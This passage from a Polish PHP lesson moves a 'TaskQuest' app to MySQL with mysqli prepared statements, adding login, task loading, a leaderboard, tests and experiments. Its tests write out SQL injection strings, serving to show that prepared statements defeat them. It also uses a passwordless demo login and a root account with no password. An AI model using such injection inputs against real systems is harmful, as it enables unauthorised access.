• id i xp nie potrzebują (int) — z prepared statementu przychodzą już jako int (3.5). Porównaj z wczytajZadania(), gdzie (int) $wiersz[0] był konieczny, bo CSV zawiera same teksty.
• Nie ma tu odpowiednika sprawdzWierszZadania(). Baza nie wpuści złego terminu, ujemnego XP ani zbyt długiego tytułu (Test 4 z Lekcji 17), więc wiersz z bazy ma zawsze poprawny kształt.
• ?id=3 nie jest błędem: zapytanie jest poprawne, po prostu nie ma pasujących wierszy — pusta tablica, tak jak pusty plik CSV w Lekcji 12 nie był awarią.

5. Włączamy bazę do TaskQuest

Od tego miejsca pracujesz na projekcie. brudnopis.php zostaw — przyda się do testowania nowych funkcji, zanim podłączysz je do stron.

Plan: najpierw budujemy i testujemy w brudnopisie wszystkie funkcje (kroki 1–5), potem w jednym ruchu przełączamy logowanie i stronę główną (kroki 6–7). Między krokiem 6 a 7 aplikacja nie działa — wykonaj je bez przerwy.

Krok 1 — dane dostępowe w config/config.php

Dane dostępowe wpisaliśmy w brudnopisie trzy razy. W projekcie mają być w jednym miejscu — tam, gdzie od Lekcji 10 trzymamy ustawienia. Na końcu config/config.php dopisz:

// (L18) dane dostępowe do bazy danych — domyślne ustawienia XAMPP
define('BAZA_HOST', 'localhost');
define('BAZA_UZYTKOWNIK', 'root');
define('BAZA_HASLO', '');
define('BAZA_NAZWA', 'taskquest');

Na szkolnym albo prawdziwym serwerze te wartości będą inne (i nigdy root bez hasła). Dzięki stałym zmienisz je w jednym pliku.

Krok 2 — plik includes/funkcje_bazy.php i funkcja polaczZBaza()

Utwórz includes/funkcje_bazy.php:

<?php

// Funkcje TaskQuest korzystające z bazy danych (Lekcja 18).
// Wymagają wcześniejszego dołączenia config/config.php (stałe BAZA_...).
// Funkcje tworzące obiekty wymagają też classes/Zadanie.php i classes/Uzytkownik.php.

function polaczZBaza(): mysqli
{
    mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

    try {
        $polaczenie = new mysqli(BAZA_HOST, BAZA_UZYTKOWNIK, BAZA_HASLO, BAZA_NAZWA);
    } catch (Exception $wyjatek) {
        throw new Exception('Nie udało się połączyć z bazą danych.');
    }

    $polaczenie->set_charset('utf8mb4');

    return $polaczenie;
}

• Typ zwracany mysqli — funkcja zwraca obiekt klasy, tak jak metoda mogłaby zwracać Zadanie.
• Dlaczego łapiemy wyjątek i rzucamy nowy? Komunikat z mysqli przy złym haśle brzmi mniej więcej: Access denied for user 'root'@'localhost' (using password: YES). Zdradza nazwę użytkownika bazy i adres serwera. Od Lekcji 12 komunikaty wyjątków trafiają do użytkownika, więc mają być dla niego — bez szczegółów technicznych. Eksperyment 4 pokaże różnicę.
• Plik z samym PHP — bez zamykającego ?> (konwencja od Lekcji 10).

Krok 3 — SAMODZIELNIE: wczytajZadaniaUzytkownika()

Kod z sekcji 4 zamień w funkcję w funkcje_bazy.php (pod polaczZBaza()):

function wczytajZadaniaUzytkownika(mysqli $polaczenie, int $uzytkownikId): array

Wymagania:

• funkcja nie tworzy połączenia — dostaje je w parametrze (jedno połączenie wystarczy na całe żądanie, a index.php wykona kilka zapytań),
• zwraca tablicę obiektów Zadanie — dokładnie to samo, co zwraca wczytajZadania() z CSV; dla użytkownika bez zadań [],
• sortuje po id (ORDER BY id), żeby kolejność była stała, jak kolejność linii w CSV. Sortowaniem po terminie nadal zajmuje się sortujPoTerminie() — nie zmieniamy działającej logiki,
• niczego nie wyświetla i nie sprawdza id regexem (int $uzytkownikId gwarantuje liczbę; sprawdzanie tekstu z adresu to zadanie strony, nie tej funkcji).

Przetestuj w brudnopisie:

<?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();
var_dump(count(wczytajZadaniaUzytkownika($polaczenie, 1)));
var_dump(count(wczytajZadaniaUzytkownika($polaczenie, 2)));
var_dump(wczytajZadaniaUzytkownika($polaczenie, 3));

Oczekiwane: liczba zadań Kamy, int(1), array(0) {}.

HINT

Cała środkowa część rozwiązania z sekcji 4 (od prepare do końca pętli) przechodzi do funkcji prawie bez zmian. Czego w funkcji nie ma? Połączenia, $_GET, echo.

ROZWIĄZANIE

function wczytajZadaniaUzytkownika(mysqli $polaczenie, int $uzytkownikId): array
{
    $zapytanie = $polaczenie->prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE uzytkownik_id = ? ORDER BY id'
    );
    $zapytanie->bind_param('i', $uzytkownikId);
    $zapytanie->execute();
    $wynik = $zapytanie->get_result();

    $zadania = [];

    while ($wiersz = $wynik->fetch_assoc()) {
        $zadania[] = new Zadanie(
            id: $wiersz['id'],
            tytul: $wiersz['tytul'],
            opis: $wiersz['opis'],
            termin: $wiersz['termin'],
            wykonane: $wiersz['data_wykonania'] !== null,
            xp: $wiersz['xp'],
        );
    }

    return $zadania;
}

Błędów zapytania (np. literówki w nazwie kolumny) ta funkcja nie łapie. To błędy programisty, a nie awaria, której użytkownik może się spodziewać. Wyjątek poleci wyżej, do strony (Eksperyment 3).

Krok 4 — Uzytkownik dostaje id, a data może być null

Zanim napiszemy funkcję wczytującą użytkownika, sprawdźmy, czy wiersz Oli w ogóle zmieści się w obiekcie. Brudnopis:

<?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';

$uzytkownik = new Uzytkownik(
    login: 'Ola_TQ',
    imieUzytkownika: 'Ola',
    xp: 250,
    streak: 0,
    dataOstatniejAktywnosci: null,   // tak jest w bazie
);

Wynik: TypeError — argument $dataOstatniejAktywnosci musi być typu string, a podano null. W Lekcji 17 świadomie zdecydowaliśmy, że data_ostatniej_aktywnosci może być NULL (Ola jeszcze nic nie zrobiła). Klasa musi to umieć przyjąć.

Nowa składnia: typ z dopuszczalnym null. Znak zapytania przed typem oznacza „ten typ albo null”:

?string   // tekst albo null
?int      // liczba całkowita albo null

To bezpośredni odpowiednik kolumny NULL w bazie: DATE NULL → ?string, DATE NOT NULL → string.

Zmiany w classes/Uzytkownik.php (reszta klasy bez zmian):

1. 
   

   Jako pierwszą właściwość dopisz private int $id; — w Lekcji 17 zapowiadaliśmy, że id wróci, gdy będzie skąd je wziąć. Jutro (L19) będzie potrzebne do zapisu XP konkretnego użytkownika.

   
   
2. 
   

   private string $dataOstatniejAktywnosci; → private ?string $dataOstatniejAktywnosci;

   
   
3. 
   

   Konstruktor: nowy pierwszy parametr int $id, typ ostatniego ?string, w ciele $this->id = $id;:

   
   

   public function __construct(
       int $id,
       string $login,
       string $imieUzytkownika,
       int $xp,
       int $streak,
       ?string $dataOstatniejAktywnosci
   ) {
       $this->id = $id;
       $this->login = $login;
       // ... pozostałe przypisania bez zmian
   }
   

   
   
4. 
   

   Pod konstruktorem nowy getter:

   
   

   public function pobierzId(): int
   {
       return $this->id;
   }
   

   
   
5. 
   

   Metoda aktualizujStreak() przekazuje datę do funkcji aktualizujStreak(int $streak, string $dataOstatniejAktywnosci, bool $zadanieWykonane), która wymaga string. Dla null też byłby TypeError. Na początku ciała metody dopisz:

   
   

   public function aktualizujStreak(bool $zadanieWykonane): void
   {
       if ($this->dataOstatniejAktywnosci === null) {
           return; // brak aktywności — nie ma od czego liczyć serii, streak zostaje taki jak w bazie
       }
   
       $this->streak = aktualizujStreak($this->streak, $this->dataOstatniejAktywnosci, $zadanieWykonane);
   }
   

   
   

   Funkcja aktualizujStreak() z funkcje_terminow.php nie zmienia się. Problem null zatrzymujemy w klasie, zanim dotrze do funkcji.

   
   

Popraw brudnopis (id: 2, na początku argumentów) i uruchom ponownie: brak błędu. Dopisz var_dump($uzytkownik->pobierzId(), $uzytkownik->pobierzPoziom()); → int(2), int(3).

Twój index.php przestał teraz działać (new Uzytkownik(...) bez id) — to w porządku, w kroku 7 i tak zastąpimy ten fragment.

Krok 5 — SAMODZIELNIE: wczytajUzytkownika()

W funkcje_bazy.php napisz:

function wczytajUzytkownika(mysqli $polaczenie, int $uzytkownikId): ?Uzytkownik

• pobiera z tabeli uzytkownicy jeden wiersz o podanym id — tylko kolumny potrzebne do obiektu (bez haslo_hash!),
• zwraca obiekt Uzytkownik albo null, gdy takiego użytkownika nie ma (typ ?Uzytkownik — ten sam znak zapytania, tym razem przy klasie),
• pamiętaj o konwencji nazw: kolumna imie → parametr imieUzytkownika, data_ostatniej_aktywnosci → dataOstatniejAktywnosci.

Test w brudnopisie (dołącz też classes/Uzytkownik.php):

var_dump(wczytajUzytkownika($polaczenie, 1)->pobierzImie());
var_dump(wczytajUzytkownika($polaczenie, 2)->pobierzXp());
var_dump(wczytajUzytkownika($polaczenie, 99));

Oczekiwane: string(4) "Kama", int(250), NULL.

HINT

Wiersz jest najwyżej jeden, więc pętla while nie jest potrzebna. Wystarczy jedno wywołanie fetch_assoc() — co zwróci, gdy wierszy nie ma wcale?

ROZWIĄZANIE

function wczytajUzytkownika(mysqli $polaczenie, int $uzytkownikId): ?Uzytkownik
{
    $zapytanie = $polaczenie->prepare(
        'SELECT id, login, imie, xp, streak, data_ostatniej_aktywnosci FROM uzytkownicy WHERE id = ?'
    );
    $zapytanie->bind_param('i', $uzytkownikId);
    $zapytanie->execute();
    $wiersz = $zapytanie->get_result()->fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Uzytkownik(
        id: $wiersz['id'],
        login: $wiersz['login'],
        imieUzytkownika: $wiersz['imie'],
        xp: $wiersz['xp'],
        streak: $wiersz['streak'],
        dataOstatniejAktywnosci: $wiersz['data_ostatniej_aktywnosci'],
    );
}

$zapytanie->get_result()->fetch_assoc() — dwie metody „w łańcuchu”: get_result() zwraca obiekt wyniku, a na nim od razu wywołujemy fetch_assoc(). To skrót od dwóch linii z $wynik.

Krok 6 — logowanie sprawdza bazę

6a. Funkcja znajdzIdUzytkownika() (funkcje_bazy.php)

Logowanie potrzebuje odpowiedzi na pytanie: „jakie id ma użytkownik o tym loginie — i czy w ogóle istnieje?”.

function znajdzIdUzytkownika(mysqli $polaczenie, string $login): ?int
{
    $zapytanie = $polaczenie->prepare('SELECT id FROM uzytkownicy WHERE login = ?');
    $zapytanie->bind_param('s', $login);
    $zapytanie->execute();
    $wiersz = $zapytanie->get_result()->fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return $wiersz['id'];
}

To dokładnie zapytanie z 3.5 — login pochodzi z formularza, więc prepared statement jest obowiązkowy. Sprawdź w brudnopisie: Kama_2026 → int(1), kama_2026 → int(1) (porównanie utf8mb4_unicode_ci nie rozróżnia wielkości liter — Test 2 z Lekcji 17), Nowy_1 → NULL.

6b. W sesji zostaje tylko uzytkownik_id

Od Lekcji 14 zapisywaliśmy w sesji login i imie. Teraz oba są w bazie. Gdybyśmy trzymali je także w sesji, mielibyśmy dwie kopie tych samych danych: zmiana imienia w bazie nie byłaby widoczna do ponownego logowania (to ta sama zasada „jedno źródło prawdy” co w Lekcjach 15 i 17). W sesji zapisujemy więc tylko identyfikator zalogowanego użytkownika, a resztę przy każdym żądaniu czytamy z bazy.

includes/funkcje_sesji.php — w czyZalogowany() zmień sprawdzany klucz:

function czyZalogowany(): bool
{
    return isset($_SESSION['uzytkownik_id']);
}

Przy okazji: jeśli ktoś ma otwartą sesję sprzed tej zmiany (z login, ale bez uzytkownik_id), zostanie po prostu przekierowany do logowania. Bez tej zmiany index.php próbowałby odczytać nieistniejący klucz.

6c. walidujDaneLogowania() sprawdza już tylko login

Imię jest w bazie, więc znika z formularza. W includes/funkcje_tekstowe.php zastąp funkcję wersją z jednym parametrem:

function walidujDaneLogowania(string $login): array
{
    $bledy = [];

    if (!walidujLogin($login)) {
        $bledy[] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    return $bledy;
}

Funkcja nadal zwraca tablicę komunikatów (reguła z Lekcji 13). W Lekcji 19 dostanie drugi parametr — hasło.

6d. zaloguj.php

Zmiany w części PHP (na górze pliku):

1. Do require_once dopisz config/config.php (na początku listy) i includes/funkcje_bazy.php (na końcu).
2. Usuń zmienną $imieUzytkownika (wartość początkowa i odczyt z $_POST).
3. Dodaj wartość początkową $bladBazy = null; obok $bledy = [];.
4. Blok obsługi POST zastąp:

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST['login'] ?? '');
    $bledy = walidujDaneLogowania($login);

    if ($bledy === []) {
        try {
            $polaczenie = polaczZBaza();
            $uzytkownikId = znajdzIdUzytkownika($polaczenie, $login);

            if ($uzytkownikId === null) {
                $bledy[] = 'Nie ma użytkownika o takim loginie.';
            } else {
                session_regenerate_id(true);
                $_SESSION['uzytkownik_id'] = $uzytkownikId;
                ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek->getMessage();
        }
    }
}

Zmiany w części HTML:

1. Zdanie pod <h2>Logowanie</h2> → Wersja demonstracyjna: podaj login konta zapisanego w bazie — bez hasła.
2. Usuń z formularza <label> i <input> pola imie.
3. Pod ramką „Popraw formularz:” dodaj ramkę awarii (ten sam wzór co $bladZapisu w dodaj-zadanie.php):

<?php if ($bladBazy !== null) { ?>
    <p class="blad">Nie udało się zalogować: <?= $bladBazy; ?></p>
<?php } ?>

Zwróć uwagę na podział:

• „nie ma takiego loginu” to błąd użytkownika → trafia do $bledy (tablica, pokazana w ramce „Popraw formularz”),
• „baza nie odpowiada” to awaria → wyjątek → $bladBazy.

To ta sama reguła co od Lekcji 13: błąd użytkownika to nie wyjątek.

zaloguj.php nie dołącza klas — znajdzIdUzytkownika() zwraca liczbę, nie obiekt. Funkcje z funkcje_bazy.php, które tworzą obiekty, nie są tu wywoływane, więc brak klas nie przeszkadza.

Krok 7 — index.php czyta z bazy

Od tej chwili Twoja sesja z logowania „po staremu” nie wystarcza. Po zmianach wyloguj się i zaloguj ponownie.

7a. Dołączane pliki

Zamień require_once __DIR__ . '/includes/funkcje_plikow.php'; na require_once __DIR__ . '/includes/funkcje_bazy.php';. Strona główna nie czyta już CSV.

7b. Dane z bazy zamiast symulacji

Pod wymagajLogowania(); masz dziś dwa bloki: $uzytkownik = new Uzytkownik(...) z symulowanymi wartościami oraz try/catch z wczytajZadania(PLIK_ZADAN). Usuń oba i wstaw w ich miejsce:

// --- dane z bazy: zalogowany użytkownik i jego zadania ---
$uzytkownik = null;
$zadania = [];
$bladBazy = null;

try {
    $polaczenie = polaczZBaza();
    $uzytkownik = wczytajUzytkownika($polaczenie, $_SESSION['uzytkownik_id']);

    if ($uzytkownik !== null) {
        $zadania = wczytajZadaniaUzytkownika($polaczenie, $uzytkownik->pobierzId());
    }
} catch (Exception $wyjatek) {
    $bladBazy = $wyjatek->getMessage();
}

// --- awaria bazy: bez danych gracza nie ma czego pokazać ---
if ($bladBazy !== null) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo "<p class=\"blad\">Nie udało się wczytać danych: $bladBazy</p>";
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

// --- konto usunięte z bazy, a sesja jeszcze istnieje ---
if ($uzytkownik === null) {
    unset($_SESSION['uzytkownik_id']);
    header('Location: zaloguj.php');
    exit;
}

Dlaczego tak:

• Jeden try na całą bazę. Użytkownik i zadania pochodzą z tego samego połączenia. Jeśli baza nie działa, nie mamy ani jednego, ani drugiego.
• Przy awarii strona kończy się wcześnie. Do Lekcji 17 awaria dotyczyła tylko pliku z zadaniami, więc reszta panelu (XP, poziom, streak) mogła się wyświetlić. Teraz dane gracza też są w bazie — bez nich nie ma czego pokazać. Zamiast owijać cały szablon w if/else, wyświetlamy nagłówek, ramkę błędu, stopkę i kończymy skrypt (exit).
• Sesja wskazuje na nieistniejące konto (np. ktoś usunął użytkownika w phpMyAdmin): usuwamy uzytkownik_id z sesji i odsyłamy do logowania (Test 7).
• $_SESSION['uzytkownik_id'] czytamy bez ?? — wyżej jest wymagajLogowania(), a wartość zapisał nasz kod (konwencja z Lekcji 14).

Wszystko poniżej (listy zadań, liczniki, $zadanieWykonane, metody grywalizacji, $uzytkownik->aktualizujStreak($zadanieWykonane), filtr widoku, komunikat) zostaje bez zmian — dostaje obiekty tego samego typu co wcześniej.

7c. Prezentacja

1. Sekcja „Twoje zadania” była od Lekcji 12 owinięta w <?php if ($bladZadan !== null) { ?> ... <?php } else { ?> ... <?php } ?>. Zmiennej $bladZadan już nie ma — awarię obsługuje blok z 7b. Usuń gałąź if z ramką błędu i same znaczniki else, zostaw zawartość gałęzi else.
2. Usuń link <p><a href="dodaj-zadanie.php">+ Dodaj zadanie</a></p>. Formularz zapisuje jeszcze do CSV, więc dodane zadanie i tak nie pojawiłoby się na liście. Link wróci w Lekcji 19.

Reszta prezentacji bez zmian — „Witaj, …!”, „Zalogowano jako …”, XP i streak od Lekcji 15 pochodzą z metod $uzytkownik, więc same pokażą dane z bazy.

7d. Sprawdzenie

Wyloguj się, zaloguj jako Kama_2026. Strona powinna wyglądać tak jak przed lekcją (bez linku „+ Dodaj zadanie”). Potem zaloguj się jako Ola_TQ: 250 XP, poziom 3, jedno zadanie.

Krok 8 — diagnostyka.php i stopka

1. W diagnostyka.php do $wymaganePliki dopisz 'includes/funkcje_bazy.php' (razem 19 ścieżek). Nic więcej — diagnostyka nadal nie łączy się z bazą (zasada z Lekcji 10 i 17: ma działać nawet przy zepsutym projekcie i bez config.php).
2. includes/footer.php: TaskQuest 1.8.

6. Kolejne zadanie — ranking najlepszych graczy

Od pierwszych lekcji TaskQuest ma XP i poziomy, ale gracz nie wie, jak wypada na tle innych. Teraz, gdy w bazie jest wielu użytkowników, możemy to pokazać.

Pod listą zadań w index.php ma się pojawić:

Najlepsi gracze
1. Ola_TQ — 250 XP (poziom 3)
2. Kama_2026 — 99 XP (poziom 1)

Wymagania:

1. W funkcje_bazy.php funkcja pobierzRanking(mysqli $polaczenie, int $limit): array, która zwraca tablicę wierszy z kluczami login i xp — najwyżej $limit graczy, od największego XP. Przy równym XP — alfabetycznie po loginie (żeby kolejność była zawsze ta sama).
2. $limit przekazujemy parametrem zapytania (LIMIT ?), nie sklejamy.
3. W index.php ranking dla 3 graczy wczytujemy w tym samym try co użytkownika i zadania (zmienna $ranking, wartość początkowa []).
4. Poziom w rankingu liczy istniejąca funkcja — nie dodajemy kolumny poziom do zapytania (Lekcja 17, 3.5: poziomu nie ma w bazie).
5. Sekcja <h2>Najlepsi gracze</h2> z listą numerowaną <ol>, na samym końcu panelu, po liście zadań.

Tu nie zwracamy obiektów Uzytkownik: ranking potrzebuje dwóch kolumn, a obiekt wymagałby wszystkich sześciu. Wynik zapytania, który służy tylko do wyświetlenia, może zostać tablicą.

HINT

ORDER BY może mieć kilka kolumn rozdzielonych przecinkiem — druga decyduje, gdy pierwsza ma równe wartości. Liczbę w LIMIT ? podpinasz tak samo jak id.

POMOC

Zamiast pętli while możesz pobrać wszystkie wiersze naraz:

return $wynik->fetch_all(MYSQLI_ASSOC);

fetch_all(MYSQLI_ASSOC) zwraca tablicę wszystkich wierszy (każdy jako tablica asocjacyjna); dla pustego wyniku []. Tam, gdzie z wiersza budujemy obiekt, zostajemy przy while — tu wiersze wystarczą.

ROZWIĄZANIE

includes/funkcje_bazy.php:

function pobierzRanking(mysqli $polaczenie, int $limit): array
{
    $zapytanie = $polaczenie->prepare('SELECT login, xp FROM uzytkownicy ORDER BY xp DESC, login LIMIT ?');
    $zapytanie->bind_param('i', $limit);
    $zapytanie->execute();

    return $zapytanie->get_result()->fetch_all(MYSQLI_ASSOC);
}

index.php — w bloku „dane z bazy” dopisz $ranking = []; pod $zadania = [];, a w try, w if ($uzytkownik !== null), pod wczytaniem zadań:

        $ranking = pobierzRanking($polaczenie, 3);

Na końcu treści panelu (po liście zadań, przed dołączeniem stopki):

<h2>Najlepsi gracze</h2>
<ol>
    <?php foreach ($ranking as $gracz) { ?>
        <li><?= $gracz['login']; ?> — <?= $gracz['xp']; ?> XP (poziom <?= obliczPoziom($gracz['xp']); ?>)</li>
    <?php } ?>
</ol>

obliczPoziom() przyjmuje int — i dostaje int, bo wynik pochodzi z prepared statementu (3.5).

7. Testy

Gdzie: przeglądarka (http://localhost/taskquest/...) i phpMyAdmin (baza taskquest → zakładka SQL albo edycja wiersza). Przed każdym testem zapisz przewidywany wynik. Po testach, które zmieniają dane, uruchom ponownie cały sql/taskquest.sql.

Test 1 — regresja: Kama widzi to samo co przed lekcją

Zaloguj się jako Kama_2026. Porównaj z taskquest_lekcja17/index.php uruchomionym tego samego dnia (tam zaloguj się jako Kama_2026 z imieniem Kama).

Oczekiwane: te same zadania, liczniki, XP 99, poziom 1, ten sam streak i te same komunikaty terminów. Różnice: stopka 1.8, brak linku „+ Dodaj zadanie”, nowa sekcja „Najlepsi gracze”. Jeśli w Lekcji 17 (Test 8) dodałaś/dodałeś zadanie przez formularz, jest ono w CSV, ale nie w bazie — w wersji 1.8 go nie zobaczysz. To zgodne z oczekiwaniami.

Test 2 — Ola widzi swoje dane

Wyloguj się, zaloguj jako Ola_TQ.

Co sprawdzasz	Oczekiwane
powitanie	„Witaj, Ola!” (imię z bazy — w formularzu już go nie podajesz)
XP / poziom	250 XP, poziom 3, do poziomu 4 brakuje 50 XP
streak	0 (data_ostatniej_aktywnosci = NULL → metoda nie zmienia streaka)
zadania	dokładnie jedno: „Zaprojektować bazę TaskQuest”, niewykonane
ranking	Ola na 1. miejscu, Kama na 2.

Test 3 — logowanie: przypadki

Login w formularzu	Oczekiwane
Kama_2026	zalogowano, strona główna, komunikat „Zalogowano. Powodzenia w zadaniach!”
kama_2026	zalogowano jako Kama — „Zalogowano jako Kama_2026” (pisownia z bazy)
Nowy_1	formularz z błędem „Nie ma użytkownika o takim loginie.”, pole wypełnione Nowy_1
Ka	„Login musi mieć 3–20 znaków…” — do bazy w ogóle nie trafia zapytanie
' OR '1'='1	ten sam komunikat o formacie loginu (walidujLogin() odrzuca apostrof i spację)

Przewidź: czy ' OR '1'='1 zalogowałby kogoś, gdyby usunąć walidację, a znajdzIdUzytkownika() zostawić z prepared statementem? (Odpowiedź: nie — patrz 3.5. Sprawdzisz to w Eksperymencie 1.)

Test 4 — dane żyją w bazie, nie w kodzie

Zalogowana/zalogowany jako Kama, w phpMyAdmin kliknij tabelę uzytkownicy → przy Kamie Edytuj → zmień xp na 150 i imie na Kamila → Wykonaj. Odśwież TaskQuest bez ponownego logowania.

Oczekiwane: „Witaj, Kamila!”, 150 XP, poziom 2, a w rankingu Kama nadal za Olą. Zmiana imienia jest widoczna od razu, bo w sesji jest tylko uzytkownik_id (6b). Zmień w phpMyAdmin tytuł jednego zadania Kamy i odśwież — nowy tytuł na liście. Uruchom ponownie taskquest.sql.

Test 5 — każdy widzi tylko swoje zadania

Zalogowana/zalogowany jako Ola, spróbuj wszystkich trzech widoków (?filtr=wszystkie, aktywne, wykonane). W żadnym nie ma zadań Kamy. Widok „wykonane” pokazuje „Brak zadań w tym widoku.”

Test 6 — baza nie działa

1. Zalogowana/zalogowany jako Kama, zatrzymaj w XAMPP moduł MySQL i odśwież index.php.
   Oczekiwane: nagłówek, ramka „Nie udało się wczytać danych: Nie udało się połączyć z bazą danych.”, stopka. Żadnych danych gracza. (Jeśli nad ramką widzisz dodatkowo Warning, to ustawienia wyświetlania komunikatów PHP — wrócimy do tego w Lekcji 23.)
2. Wyloguj się i spróbuj zalogować. Oczekiwane: formularz z ramką „Nie udało się zalogować: Nie udało się połączyć z bazą danych.”
3. diagnostyka.php — działa normalnie (19 × [OK]), bo nie łączy się z bazą. Czy to dobrze, czy źle? Zapisz swoją odpowiedź — wrócisz do niej w pytaniach kontrolnych.
4. Uruchom MySQL ponownie.

Test 7 — konto usunięte w trakcie sesji

Zaloguj się jako Ola. W phpMyAdmin: DELETE FROM uzytkownicy WHERE login = 'Ola_TQ';. Odśwież TaskQuest.

Oczekiwane: przekierowanie na stronę logowania (bez błędu PHP). Próba zalogowania jako Ola_TQ → „Nie ma użytkownika o takim loginie.” Uruchom ponownie taskquest.sql.

Test 8 — ranking i LIMIT

W phpMyAdmin:

INSERT INTO uzytkownicy (login, imie, xp) VALUES ('Kuba_TQ', 'Kuba', 180), ('Zosia_TQ', 'Zosia', 180);

Przewidź kolejność w rankingu, potem odśwież TaskQuest. Oczekiwane: Ola_TQ (250), Kuba_TQ (180), Zosia_TQ (180) — tylko trzy, Kama (99) nie mieści się w LIMIT. Kuba przed Zosią, bo przy równym XP decyduje login. Uruchom ponownie taskquest.sql.

Test 9 — diagnostyka

diagnostyka.php → 19 × [OK] (w tym includes/funkcje_bazy.php), sekcja „Baza danych” bez zmian.

8. Obowiązkowe eksperymenty

Gdzie: eksperymenty 1–2 w brudnopisie, 3–4 w projekcie. Po każdym przywróć zmieniony kod.

Eksperyment 1: prepared statement bez walidacji

W brudnopisie:

<?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();
var_dump(znajdzIdUzytkownika($polaczenie, "' OR '1'='1"));
var_dump(znajdzIdUzytkownika($polaczenie, "Kama_2026' -- "));

Przewidź oba wyniki. Oczekiwane: NULL, NULL. Drugi ciąg to klasyczna próba „ucięcia” reszty zapytania komentarzem SQL (-- ). Przy sklejaniu dałaby zalogowanie jako Kama; w prepared statemencie to zwykły, nieistniejący login. Wniosek: walidacja w zaloguj.php jest wygodą i porządkiem, ale bezpieczeństwo zapytania zapewnia prepared statement.

Eksperyment 2: te same dane, dwa typy

W brudnopisie porównaj:

$wynik = $polaczenie->query('SELECT id FROM uzytkownicy WHERE login = \'Kama_2026\'');
$wierszZQuery = $wynik->fetch_assoc();

$login = 'Kama_2026';
$zapytanie = $polaczenie->prepare('SELECT id FROM uzytkownicy WHERE login = ?');
$zapytanie->bind_param('s', $login);
$zapytanie->execute();
$wierszZPrepare = $zapytanie->get_result()->fetch_assoc();

var_dump($wierszZQuery['id'], $wierszZPrepare['id']);
var_dump($wierszZQuery['id'] === 1, $wierszZPrepare['id'] === 1);

Oczekiwane: string(1) "1", int(1), a potem false, true. Gdyby TaskQuest używał query(), porównania === z liczbami przestałyby działać, a obiekty dostawałyby teksty zamiast liczb (bez błędu — tryb domyślny typów z Lekcji 15 po cichu zamienia '1' na 1). To jeszcze jeden powód, żeby w TaskQuest zawsze używać prepared statements.

Eksperyment 3: literówka w zapytaniu

W wczytajZadaniaUzytkownika() zmień w zapytaniu tytul na tytl i odśwież index.php.

Oczekiwane: ramka „Nie udało się wczytać danych: Unknown column 'tytl’ in 'field list’”. Programistę ten komunikat ratuje — od razu wiadomo, co poprawić. Ale użytkownik widzi nazwę kolumny, czyli fragment budowy bazy. Porównaj z komunikatem połączenia, który celowo ukryliśmy (Eksperyment 4). Na etapie nauki zostawiamy go widocznym; ukrywanie szczegółów przed użytkownikiem i zapis błędów do logu — Lekcja 22 i 23. Przywróć tytul.

Eksperyment 4: po co ukrywamy komunikat połączenia

1. W config/config.php ustaw BAZA_HASLO na 'zlehaslo'. Odśwież index.php. Oczekiwane: „Nie udało się połączyć z bazą danych.”
2. W polaczZBaza() tymczasowo zamień linię throw new Exception('Nie udało się połączyć z bazą danych.'); na throw $wyjatek; (ponowne rzucenie oryginalnego wyjątku). Odśwież.
   Oczekiwane: komunikat w rodzaju Access denied for user 'root'@'localhost' (using password: YES) — w przeglądarce użytkownika: nazwa konta bazy i adres serwera.
3. Przywróć obie zmiany i sprawdź, że TaskQuest działa.

Eksperyment 5: filtr właściciela

W wczytajZadaniaUzytkownika() usuń z zapytania WHERE uzytkownik_id = ? oraz linię bind_param(...) (bez parametru nie ma czego podpinać). Zaloguj się jako Ola.

Oczekiwane: Ola widzi zadania Kamy. To dokładnie problem z Lekcji 17 („Kuba i Ola widzą te same zadania”) — tylko że tym razem to nie ograniczenie CSV, lecz błąd w zapytaniu. Baza oddaje to, o co prosimy; pilnowanie, czyje dane pokazujemy, należy do nas. Przywróć WHERE i bind_param().

9. ROZWIĄZANIE

Poniżej wszystkie pliki, które zmieniły się w Lekcji 18. Pliki niewymienione są identyczne jak po Lekcji 17 (w PHP: jak po Lekcji 15, wersja w 15_TaskQuest.md, sekcja 9; sql/taskquest.sql jak w 17_TaskQuest.md). Przy plikach, w których zmienia się tylko fragment, podany jest dokładny zakres zmiany.

ROZWIĄZANIE

config/config.php — dopisane na końcu

// (L18) dane dostępowe do bazy danych — domyślne ustawienia XAMPP
define('BAZA_HOST', 'localhost');
define('BAZA_UZYTKOWNIK', 'root');
define('BAZA_HASLO', '');
define('BAZA_NAZWA', 'taskquest');

includes/funkcje_bazy.php (nowy plik)

<?php

// Funkcje TaskQuest korzystające z bazy danych (Lekcja 18).
// Wymagają wcześniejszego dołączenia config/config.php (stałe BAZA_...).
// Funkcje tworzące obiekty wymagają też classes/Zadanie.php i classes/Uzytkownik.php.

function polaczZBaza(): mysqli
{
    mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

    try {
        $polaczenie = new mysqli(BAZA_HOST, BAZA_UZYTKOWNIK, BAZA_HASLO, BAZA_NAZWA);
    } catch (Exception $wyjatek) {
        throw new Exception('Nie udało się połączyć z bazą danych.');
    }

    $polaczenie->set_charset('utf8mb4');

    return $polaczenie;
}

function wczytajZadaniaUzytkownika(mysqli $polaczenie, int $uzytkownikId): array
{
    $zapytanie = $polaczenie->prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE uzytkownik_id = ? ORDER BY id'
    );
    $zapytanie->bind_param('i', $uzytkownikId);
    $zapytanie->execute();
    $wynik = $zapytanie->get_result();

    $zadania = [];

